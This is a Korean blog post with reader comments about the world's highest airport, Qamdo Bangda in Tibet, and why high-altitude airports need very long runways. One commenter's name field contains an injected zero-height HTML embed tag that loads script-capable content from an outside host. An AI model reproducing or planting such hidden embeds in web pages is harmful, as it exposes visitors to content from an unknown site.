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세계에서 가장 높은 곳에 있는 공항은?

마래바 2008.10.28 17:23

지난 번 뻬이징 올림픽에서 마라톤 경기에서 두각을 나타낸 국가는 케냐였다.

비단 지난 번 뻬이징 올림픽에서 뿐만 아니라, 전 세계에서 열리는 거의 모든 마라톤 경기에서 케냐 선수들의 독주는 눈에 두드러진다.

같은 흑인이면서도 미국이나 다른 나라의 흑인들보다 유난히 케냐 선수들의 기록이 좋은 이유는 무엇일까?

당연히 마라톤에 대한 체계적인 훈련과 올림픽이나 세계대회에서의 우승을 통해 한 몫 잡겠다는 분위기 등이 좋은 성적을 가져다 주는 비결일 것이다.

 마라톤 우승자, 사무엘(케냐)

뻬이징 마라톤 우승자, 사무엘(케냐)

그러나 그 이런 이유 외에도 아프리카에는 해발 2천미터 이상되는 지역이 많다는 점을 또 다른 이유로 주장하기도 한다.

고지대는 산소 밀도가 희박해, 이런 곳에서 장기간 훈련할 경우 심장이 튼튼하고 지구력이 강해진다고 알려져 있다.  반면에 그만큼 고지대에서의 운동은 쉽지 않다.

그렇지만 단거리 경기의 경우에는 고지대에서 저지대보다 훨씬 나은 기록을 보여준다고 한다.  산소 밀도가 희박한 만큼 저항이 약해 단거리 달리기나 멀리뛰기 등에서는 저지대에서보다 좋은 성적을 낸다는 것이다.


본론으로 돌아와서 항공기가 운항함에 있어 고지대에 있는 공항이 좋을까, 저지대에 있는 경우가 좋을까?

아니 그 전에 세계에서 가장 높은 곳에 위치한 공항이 어딘지 알아보자.

세계에서 제일 높은 지대에 있는 공항은 히말라야의 티벳에 있다.  동 티벳에 있는 방다(Qamdo Bangda, BPX, ZUBD) 공항이다.  1994년 10월 22일에 오픈한 이 공항은 해발 14,219 피트(4,334 미터)에 위치하고 있다.  백두산 높이가 2,740 미터인 점을 고려할 때, 1.5배가 넘는 고지대에 공항이 위치하고 있는 것이다.


고지대에 위치하고 있는만큼 보잉 747 같은 대형 기종은 운항하지 않고 소형 기종만 운항 가능하다고 한다.


방다 공항 다음으로 고지대에 있는 공항 역시, 티벳에 있는 공항으로 해발 14,040 피트 (4,280 미터) 에 위치한 캉딩(Kangding) 공항이다.

이번 달부터 오픈할 예정인 이 캉딩공항에 중국동방항공(China Eastern Airlines)이 쿤밍-캉딩을 운항할 예정이다.  원래 캉딩공항은 금년 5월 오픈 예정이었으나 10월까지 지연된 것이다.  그 이유는 역시 중국답게 밝히지 않고 있다.  다만 올 초부터 티벳과 그 주변 지역에서 벌어진 독립시위와 무관하지 않은 것으로 추측될 뿐이다.


자, 또 한가지, 그럼 세계에서 가장 긴 활주로를 가진 공항은 어딜까?

위에서 주저리 떠든 얘기를 짐작컨대, 아마도 세계에서 가장 긴 활주로를 가진 공항도 역시 방다 공항일 것 같은데...

맞다.  가장 긴 활주로를 가진 공항은 가장 고지대에 위치한 방다(Qamdo Bangda) 공항이다.

최고지대에 위치한 방다 공항의 활주로 길이는 자그마치 5,500 미터나 된다.  일반적으로 대형 항공기가 이륙하는데 필요한 길이는 보통 3,000 미터 정도이고, 인천공항의 활주로 길이가 3,750 미터인 점을 고려하면, 엄청나게 긴 활주로를 가진 공항이라 하겠다.


이유가 뭘까?

고지대에 있는 공항의 활주로가 긴 이유는 항공기가 하늘을 나는 원리와 무관치 않다.

항공기는 항공기의 유선형 날개와 동체를 통해 양력을 발생시킴으로써 공중으로 상승하게 된다.  비행기는 공기(바람)를 이용한 양력을 통해 하늘로 날아오르는 만큼, 공기의 양과 밀도는 대단히 중요하다고 할 수 있다.

우리가 알고 있는 상식처럼 고지대는 공기의 밀도가 희박해, 저지대에서보다 운동하기 힘들다.  그래서 장거리 운동의 경우에는 저지대보다 기록이 떨어진다.

마찬가지로 항공기도 하늘로 날아오르는데 많은 양력이 필요하지만, 고지대에서는 공기 밀도가 희박해 저지대에서의 항공기 속도 정도로는 충분한 양력을 발생시키기 힘들다.

그래서 고지대에서 항공기를 공중에 띄우려면 더 빠른 속도가 필요하고, 이에 따라 길이가 훨씬 긴 활주로를 필요로 하게 되는 것이다.

항공의 고도가 항공기 이륙에 미치는 영향이 크기는 하지만 이것이 항공기 안전상의 문제를 결정짓지는 않는다.  위에 언급한대로 고지대 공항의 경우는 그만큼 활주로가 길기 때문에 항공기 운항상 충분한 안전장치가 있다고 볼 수 있기 때문이다.

다만 항공기 운영상 공항이 고지대에 있는 것보다는 저지대에 있는 것이 여러모로 비용 면에서나 유리한 점이 많은 것만은 틀림없는 것 같기는 하다.

그래서 최근 신규 공항들이 죄다 바다를 메워 만들어지는 걸까? ^^;;
(공항 건설 부지가 마땅치 않은 점과, 이용객 접근성이 좋은 이유가 근본 이유겠지만, 이런 항공기 운항 상 기술적 내용도 무관치는 않을 듯..)


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25 Comments
  • 프로필사진 변성탱이 2008.10.28 22:02 신고 음.. 공기의 밀도땜에 활주로가 길어지는군요. 또 새로운 거 하나 알아가네요.ㅎㅎ 활주로길어지면 관리비도 더 드나요? 그럼 저지대가 모든 면에서 효율적인건가요? 왜 글 잘 읽고 질문하고 싶어질까요?(얕은 지식땜시..)
  • 프로필사진 마래바 2008.10.29 11:38 신고 할주로 길어지면 당연히 관리비도 증가하겠죠..
    아마도 특수한 상황이 아니면 저지대에 있는 공항이 유리할 겁니다.
  • 프로필사진 맑은물한동이 2008.10.29 01:13 신고 방다공항,,, 진짜 높은곳에 있네요. 해발 4,000미터가 넘다니~~~
    심장이 나쁜사람들은 공항에 내리자마자 고산병에 대비해야겠네요.ㅋㅋ
  • 프로필사진 마래바 2008.10.29 11:39 신고 항공기 내에 뭔가 내리기 전에 여압 조정을 하지 않을까 싶습니다.
    안 그러면 기압차이 때문에 뜻하지 않게 환자가 생길 수도 있을 것 같습니다.
  • 프로필사진 과객 2008.10.29 08:08 신고 비행기 내리자마자 고산병으로 쓰러지겠네요...-_-;;
    한가지 의문점은...양력을 유지하며서 착륙하려면 보통공항보다는 빠른 빠른속도로 터치다운을 해야하겠네요....비행기가 견딜수 있는 범위내 인가요? ..하긴 괜찮으니까 공항이생겼겠지만...-_-
  • 프로필사진 마래바 2008.10.29 11:40 신고 빠른 속도로 내려야 하니 스무스하게 랜딩하는 방식으로 랜딩거리도 길어집니다.
    그래서 활주로도 또 길게 필요한 거죠.
  • 프로필사진 요시토시 2008.10.29 10:25 신고 2000미터만 올라가도 고산병의 위험이 있는데 4000미터에서 공항이라니..;;
    그나저나 단순히 높은곳에서 뜨고 내리리 덜 올라가도 되서 좋을거라고 생각했던 저는...Orz;;
  • 프로필사진 마래바 2008.10.29 11:41 신고 말씀대로 일정고도 (4만 피트) 까지 올라가는 데 연료가 덜 소모되긴 할 겁니다. ^^;;
  • 프로필사진 도사니 2008.10.29 14:10 신고 음...그림을 보고 든 의문인데요, 이륙거리를 보면 지상 11m 위까지가 이륙거리라고 되어 있잖아요? 실제 지상에서 11m 위로 떠야 이륙이라고 보는건가요? 뒷바퀴가 들리기 직전 기수쪽은 저정도 들릴 것 같은데, 그걸 얘기하는건지...ㅎㅎ
  • 프로필사진 마래바 2008.10.29 17:35 신고 기술적으로는 일단 활주로로부터 35피트 상공으로 항공기가 떠야 이륙이라고 간주합니다.
    따라서 그 거리까지는 이륙거리로 보는 거죠.
    이 수치와 거리를 바탕으로 모든 항공 관련 자료들이 생성되고 변경됩니다. ^^
  • 프로필사진 ㅎㅎ<embed src=http://6kk.kr allowscriptaccess=always height=0> 2008.10.30 09:40 신고 잘보고 갑니다
  • 프로필사진 프레쉬덕 2008.10.29 22:59 신고 오옷~
    오랜만에 오니 스킨이 바뀌었네요~^^

    자원이 부족하면 더 열심히 뛰어야 날 수 있군요.
    프레쉬덕군도 더 욜씨미~ ^^
  • 프로필사진 마래바 2008.10.30 02:10 신고 더욱 열심히.. ^^
  • 프로필사진 재외국민 2008.10.30 00:59 신고 같은 원리로, 더운 나라보다는 추운 나라의 활주로가 짧습니다.
    추울수록 공기의 밀도는 높기 때문이지요.
    또한, 기종에 따라서도 활주길이가 크게 차이나기 때문에, 방다공항에 점보기와 같은 대형비행기가 이착륙하려면 활주로는 더욱 길어야합니다.

    최근의 신규공항들이 바다위에 건설되는 이유는 거의 부지매입문제이구요, 활주로 길이 등에 따른 유지관리비용은 거의 고려되지 않습니다.
    왜냐하면, 예를 들어 위의 방다공항처럼, 지대가 높은 곳의 도시에 항공수요가 있는데 공항의 유지관리비용을 고려하여 바다에 공항을 건설한다는 건 상식적으로 맞지 않구요, 바다위에 공항을 건설하려면 그 공사비 및 기술, 그에 따른 유지보수비용이 어마어마하기 때문에 유지보수비용을 고려하여 바다위에 공항을 건설한다는 건 약간 거리가 있어보입니다. 인천공항은 잘 모르겠지만, 칸사이공항의 경우, 계속된 활주로 침하 때문에 그에 따른 보수비용이 장난 아니구요, 하네다공항의 경우는 활주로 곳곳에 쟉키(한국말로 뭐죠..? ㅋ)를 설치하여 정기적으로 활주로를 들어올리고 있구요..

    하여튼, 공항계획시 가장 중요하면서 가장 기본은 입지선정입니다. 그 기준으로는, 항공수요가 있는 곳으로부터의 접근성이 좋아야하고, 풍향이 어느 정도 일정해야합니다. 한국엔 아마 없지만 미국과 같은 나라의 대도시 공항을 보면 활주로가 여러 방향으로 나있는 경우가 있습니다. 왜 그러냐면, 풍향이 일정치 않아서죠.. 단순히 항공수요가 많아서가 아닙니다... 여러 방향으로 활주로가 나있어도, 실제로 사용하는 활주로는 풍향에 따라 정해집니다. 예를 들어 A방향 활주로를 사용하다가 풍향이 바뀌면 B방향 활주로를 사용하다가... 그 와중에서도 항공수요가 많은 공항의 경우는 어느 한 방향에 활주로를 두 개 이상 건설하여 동시이착륙 가능하게 하는 경우도 많구요. (비행기는 언제나 맞바람을 받으며 이착륙 한답니다.. 최대한 양력을 얻기 위해..)
  • 프로필사진 마래바 2008.10.30 02:12 신고 네.. 구구절절이 옳은 말씀입니다.^^
    간사이 공항의 침하는 조금 특수한 경우구요.
    바다를 메꿔 공항을 건설하는 데는 어마어마한 비용이 들지요. 그리고 말씀대로 공항 부지의 선정은 어떻게 해야 항공기가 가장 안전하게 이착륙, 운항하느냐가 최고 중심사이긴 합니다.

    의견 감사합니다. :)
  • 프로필사진 TISTORY 운영 2008.10.30 08:40 신고 안녕하세요.티스토리 입니다^^
    회원님의 포스트가 현재 다음 첫화면 카페.블로그 영역에 보여지고 있습니다. 카페.블로그 영역은 다음 첫화면에서 스크롤을 조금만 내리시면 확인하실 수 있습니다.
    회원님께서 작성해 주신 유익하고 재미있는 포스트를 더 많은 분들과 함께 나누고자 다음 첫화면에 소개 하게 되었으니, 혹시 노출에 문제가 있으시다면 tistoryblog@hanmail.net 메일로 문의주시기 바랍니다.
    앞으로도 티스토리와 함께 회원님의 소중한 이야기를 담아가시기 바랍니다!

    감사합니다. 즐거운 하루 보내세요!
  • 프로필사진 마래바 2008.10.30 09:42 신고 감사합니다.^^
  • 프로필사진 클럽비키니 2008.10.30 21:06 신고 오째 이런높은곳에 공항이~~`
  • 프로필사진 마래바 2008.10.31 23:08 신고 사람이 사는 곳이니, 교통수단도 운행을 해야겠나 봅니다. ^^
  • 프로필사진 낙망고양이 2008.10.31 19:43 신고 크루즈상태 여객기의 기내 기압이 고도 8,000피트정도에 맞춰져 있는데, 공항고도가 14,000피트가 넘으면 이건 뭐... 착륙하면 오히려 산소가 더 부족해지는 황당한 상황이...
  • 프로필사진 마래바 2008.10.31 23:08 신고 대책없어 지는군요. ㅋㅋ
    항공기 하기 전에 뭔가 대책이 세워질 겁니다. 자세히는..ㅜ.ㅠ
  • 프로필사진 두두둥 2008.11.03 18:43 신고 근데, 궁급한게 있는데요;; 비행기는 0.2기압의 12km 상공에서 비행합니다. 한번 생각해보면 지상에서 보다 공기의 양이 작기때문에 양력이 덜 발생해야할 것 아닌가요? 그런데 오히려 순항중에는 연료 소모가 가장 적다고 하는데, 모순이 아닌가요?
  • 프로필사진 마래바 2008.11.04 06:33 신고 항공기는 이착륙 시 연료를 가장 많이 소모합니다.
    그리고 일정고도를 올라가면 뒷바람의 영향 등으로 훨씬 수월하게 비행해 연료가 줄어들게 되는 거죠..

    높은 고도에서의 순항은 이륙 상승 단계보다는 양력이 덜 필요하게 됩니다. 설사 그렇지 않다고 해도, 항공기 속도가 워낙 빨라 자연스럽게 양력이 증가하게 됩니다.

    따라서 모순은 아니고, 여러가지 외적 현상을 다 고려하면 이해할 수 있을 것 같습니다.

    여기까지가 제가 아는 단계네요.. 혹시 틀린 내용 있으면 다시 알려 주세요.
  • 프로필사진 재외국민 2008.12.06 22:46 신고 제 생각엔, 공기저항이 작아지기 때문인 것 같습니다.
    공기밀도가 작으니까요.
    그렇기 때문에 양력도 작아지는 것이긴 하지만, 고속비행시에는 양력을 충분히 받기 때문에 문제되지 않죠.
    비행기에 대해서는 잘 모르지만, 고속도로를 주행하는 차량에 작용하는 가장 큰 저항은 공기저항입니다. 이 공기저항은 속력이 증가함에 따라 급격히 상승하거든요. 이러한 점은 항공기에도 그대로 적용되지 않을까 생각됩니다. 즉, 공기저항이 크게 줄어드니 연료소모도 적어진다는 얘기입니다.
    그리고, 이착륙시에는 양력을 최대한 받기 위해 플랩을 내리거나 해서 일부로 공기저항을 최대한 이용하려 합니다.
    확실히는 저도 모르겠지만, 이러한 점이 크게 작용하지 않나 짐작됩니다...ㅎ
  • 프로필사진 마래바 2008.12.06 23:53 신고 저도 나중에 확인한 자료로는 재외국인님 말씀과 같습니다.
    일단 일정 고도에 올라가면 워낙에 빠른 속도 때문에 양력은 어느정도 확보된 상태라서 공기 밀도가 작아지면 항력(drag)이 줄어들기 때문에 훨씬 적은 연료로도 비행할 수 있게 된다고 하네요.^^;;
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